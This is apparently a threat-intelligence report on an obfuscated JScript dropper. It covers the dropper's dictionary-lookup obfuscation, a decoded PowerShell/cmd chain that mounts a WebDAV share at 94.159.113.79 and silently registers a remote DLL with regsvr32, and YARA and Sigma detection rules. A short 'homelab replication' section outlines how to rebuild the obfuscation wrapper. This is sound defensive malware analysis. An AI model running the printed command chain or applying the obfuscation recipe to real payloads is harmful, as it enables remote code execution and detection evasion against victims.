unclassified-js-webdav-dropper: dc76a67d — 1,255-char noise-key dictionary, 94.159.113.79:8888

Executive Summary

JScript dropper (9298177851435517732.js) using a 62-entry noise-key dictionary lookup table with a 1,255-character extreme variable-name padding. Assembles a PowerShell -EncodedCommand wrapper at runtime via Function('return this')() that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. Static-only — CAPE skipped because the sample is ASCII script, not a PE. This is the seventy-ninth confirmed sibling in the unclassified-js-webdav-dropper family.

What It Is

How It Works

The file is a single ~1.4 MB line of semicolon-delimited JavaScript. It declares one enormous variable name (pcywtshawzhqnmoty...kickhaltingfixed, 1,255 characters) and assigns 62 key/value pairs to it, each mapping a random noise key string (1,027–2,503 characters in length) to a single ASCII alphanumeric character. ^[sample dc76a67d/strings.txt]

After the dictionary is built, a Function('return this')() construction accesses the global object and assembles the real payload by looking up characters from the dictionary via bracket notation. The assembled string is:

returnthisWScriptCreateObjectWScriptShellrunpowershellEncodedCommand<BASE64>

The base64 block decodes (UTF-16-LE) to:

timeout 1;cmd /c net use \\94.159.113.79@8888\davwwwroot\;cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\146211914328197.dll

Chain: WScript.Shell → run → powershell.exe -EncodedCommand → cmd.exe → net use WebDAV mount → regsvr32 /s remote DLL registration. ^[sample dc76a67d/floss.txt]

This is the js-dictionary-char-lookup-obfuscation technique with the webdav-regsvr32-dll-sideloading execution chain.

Decompiled Behavior

Not applicable — this is a JScript text file, not a compiled binary. No PE sections, no imports, no entry point. Static analysis was performed via Python string parsing of the obfuscated source.

C2 Infrastructure

No sandbox gate, no VM detection, no anti-debug, no persistence mechanism — one-shot execution. The timeout 1 anti-emulation delay observed in some siblings is absent here.

Interesting Tidbits

• Third-longest variable name in the family: 1,255 characters. Record is f8dce7df at 2,478 chars; second is fe261d49 at 1,794 chars. The variable name is random lowercase alphabet with no semantic content. ^[sample dc76a67d/strings.txt]
• 62-entry noise-key dictionary: Keys are random lowercase strings (8–2,503 chars, no semantic content). This is the same cardinality as the majority of dictionary variants in the family (36-entry and 100-entry variants also observed). ^[sample dc76a67d/strings.txt]
• Same C2 subnet: 94.159.113.79 falls in the 94.159.113.x subnet shared by siblings fe261d49 (.79), f8dce7df (.82), fa8c6d74 (.204), fbdd83ad (.84), ff3c6d0c (.86), and dbdb99f1 (.86).
• No try/catch decoys: Unlike many cloudslimit.com and dailywebstats.com siblings, this sample has no nested try{undefinedFunction()}catch(e){...} decoy blocks.
• No wordpad decoy: The color f0 && start wordpad batch decoy seen in pure-batch siblings is absent here (JScript-only variant).
• No self-replication: Unlike polyglot siblings (da58243c, 6f1d7c74, 019d2f45), this sample does not copy itself to %userprofile%.

How To Mess With It (Homelab Replication)

1. Build a noise-key dictionary. Generate 62 random lowercase strings of varying length (8–2,500 chars). Map each to one [a-zA-Z0-9] character.
2. Encode your payload. Convert a command like WScript.CreateObject("WScript.Shell").Run("powershell -EncodedCommand ...") into dictionary lookups.
3. Wrap in Function constructor. Use Function('return this')()['WScript']['CreateObject'](...)... to assemble and execute.
4. Test in cscript/wscript. Verify the decoded command matches your intent before it hits a live C2.

Deployable Signatures

YARA Rule

rule js_webdav_dropper_noise_dict_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry noise-key dictionary"
        family = "unclassified-js-webdav-dropper"
        author = "triage"
        date = "2026-07-20"
        hash = "dc76a67dd920f8213b490eaecfc0fd15d34b875d6619adf91118882bc25dd0f1"
    strings:
        $func = "Function(''" nocase
        $netuse = "net use" nocase
        $dav = "DavWWWRoot" nocase
        $regsvr = "regsvr32" nocase
        $enc = "EncodedCommand" nocase
    condition:
        filesize > 500KB and filesize < 3MB
        and #func >= 1
        and all of ($netuse, $dav, $regsvr, $enc)
        and uint8(0) != 0x4D  // not PE
}

Sigma Rule

title: WebDAV DLL Registration via Regsvr32 Over UNC Path
status: experimental
description: Detects regsvr32.exe silently loading a DLL from a WebDAV UNC path
tags:
  - attack.defense_evasion
  - attack.t1218.010
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - 'regsvr32 /s'
      - 'regsvr32.exe /s'
    CommandLine|contains:
      - 'DavWWWRoot'
      - '\\@8888'
  condition: selection
falsepositives:
  - Rare legitimate WebDAV-based software deployment
level: high

IOC List

Behavioral Fingerprint Statement

This JScript dropper builds a 62-entry noise-key dictionary using a single extreme-length variable name (1,000+ characters). It assembles a PowerShell -EncodedCommand wrapper at runtime via Function('return this')() bracket-notation lookups. The decoded command mounts an attacker WebDAV share via net use and silently registers a remote DLL with regsvr32 /s. No sandbox gates, no persistence, no decoy applications. Static string extraction fails because the payload exists only as dictionary lookups.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• webdav-regsvr32-dll-sideloading — technique page for the execution chain

Provenance

• file.txt — file type identification (ASCII text, very long lines) ^[sample dc76a67d/file.txt]
• triage.json — metadata, size, ssdeep, artifact ID ^[sample dc76a67d/triage.json]
• strings.txt — 1.6 MB raw string dump, source for dictionary extraction ^[sample dc76a67d/strings.txt]
• floss.txt — decoded strings via FireEye flare-floss ^[sample dc76a67d/floss.txt]
• dynamic-analysis.md — CAPE skipped (not a binary) ^[sample dc76a67d/dynamic-analysis.md]
• capa.txt — capa unsupported file format error ^[sample dc76a67d/capa.txt]
• Python 3 ad-hoc deobfuscation script — manual extraction of 62-entry dictionary and Function() payload assembly

Report generated: 2026-07-20. Static-only analysis — CAPE skipped because sample is ASCII JScript, not a PE binary.